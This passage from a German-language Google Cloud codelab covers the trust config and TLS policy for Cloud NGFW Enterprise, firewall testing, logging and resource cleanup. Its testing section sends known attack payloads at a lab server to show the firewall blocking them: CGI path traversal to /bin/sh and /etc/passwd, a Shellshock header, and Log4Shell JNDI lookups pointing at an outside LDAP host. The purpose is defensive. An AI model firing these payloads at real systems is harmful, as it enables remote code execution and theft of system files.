- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Die obigen Befehle enthielten Ihr Root-CA-Zertifikat als Teil des Trust Store, da Ihr Serverzertifikat mit der Root-Zertifizierungsstelle signiert wurde. Das bedeutet, dass die Firewall allen Zertifikaten vertraut, die von Ihrer Root-Zertifizierungsstelle signiert wurden – zusätzlich zu den öffentlichen Zertifizierungsstellen, wenn in Ihrer TLS-Richtlinie „excludedPublicCaSet“ auf „false“ festgelegt ist.

Prüfen Sie den Inhalt der Konfiguration der Vertrauensstellung.

cat trust_config.yaml

Beispielausgabe:

Achten Sie genau auf die Einrückung des Zertifikats. Sie muss genau diesem Format entsprechen.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importieren Sie die Konfiguration der Vertrauensstellung:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Aktualisieren Sie die YAML-Datei für die TLS-Richtlinie so, dass sie die Konfiguration der Vertrauensstellung enthält:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importieren Sie die aktualisierte TLS-Richtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. E/W-TLS-Prüfung wird geprüft

Stellen Sie eine SSH-Verbindung zum Client her, um den E/W-Traffic mit der aktualisierten Vertrauenskonfiguration zu testen:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die Beispiel-TLS-Anfrage an den Server aus:

curl https://$target_privateip --max-time 2

Wenn Sie die folgende Ausgabe weiterhin erhalten, warten Sie, bis die Aktualisierungen wirksam werden.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Erwartete Ausgabe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Schädlichen Test-Traffic an den Server senden:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Es gehen keine Antworten wie in der erwarteten Ausgabe unten ein, was bestätigt, dass die Beispielangriffe jetzt für E/W blockiert werden.

13. Logging

Rufen Sie Logging auf > Log-Explorer über die Cloud Console, geben Sie den Filter unten ein und fragen Sie die Logs ab. Ersetzen Sie [PROJECT_ID] durch Ihre Projekt-ID:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Cloud NGFW Enterprise-Logeinträge sollten in etwa so aussehen:

5b68cc1063c0f4bd.png

Maximieren Sie die Logeinträge und beachten Sie, dass die von der Client-VM an den Server gesendeten Angriffe identifiziert und blockiert wurden (Sicherheitslücke bei der Apache Log4j Remote Code Execution, siehe Screenshot unten).

478f18f8481e90ed.png

Sie haben Cloud NGFW Enterprise mit TLS-Prüfung erfolgreich bereitgestellt, um schädliche Anfragen zu blockieren.

Fahren Sie mit dem nächsten Abschnitt zur Bereinigung fort.

14. Bereinigungsschritte

Clean-up für Basiseinrichtung

Entfernen Sie die Instanzen:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Führen Sie die folgenden Schritte aus, wenn die Rollen „tagAdmin“ und „tagUsers“ geändert wurden:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Entfernen Sie den Tag-Schlüssel und die Tag-Werte:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Entfernen Sie die Cloud Firewall-Netzwerkrichtlinie und die Verknüpfung:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Löschen Sie den Cloud Router und Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Löschen Sie die reservierten IP-Adressen:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Verknüpfung und TLS Clean-Up

Löschen Sie die Sicherheitsprofilgruppe und das Bedrohungsprofil in der folgenden Reihenfolge:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Löschen Sie die Cloud Firewall-Endpunktverknüpfung:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Löschen Sie den Cloud Firewall-Endpunkt. Dies kann etwa 20 Minuten dauern:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Prüfen Sie optional, ob der Cloud NGFW-Endpunkt gelöscht wurde, indem Sie den folgenden Befehl ausführen:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Der Status für den Endpunkt sollte Folgendes anzeigen:

STATE: DELETING

Wenn der Vorgang abgeschlossen ist, wird der Endpunkt nicht mehr aufgeführt.

Löschen Sie die TLS-Richtlinie und die Konfiguration der Vertrauensstellung in dieser Reihenfolge:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Deaktivieren und löschen Sie die Stammzertifizierungsstelle und den Zertifizierungsstellenpool:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Subnetz- und VPC-Bereinigung

Löschen Sie zum Schluss das Subnetz und das VPC-Netzwerk:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Glückwunsch!

Herzlichen Glückwunsch! Sie haben das Codelab für Cloud NGFW Enterprise for East-West and Northbound TLS Inspection erfolgreich abgeschlossen.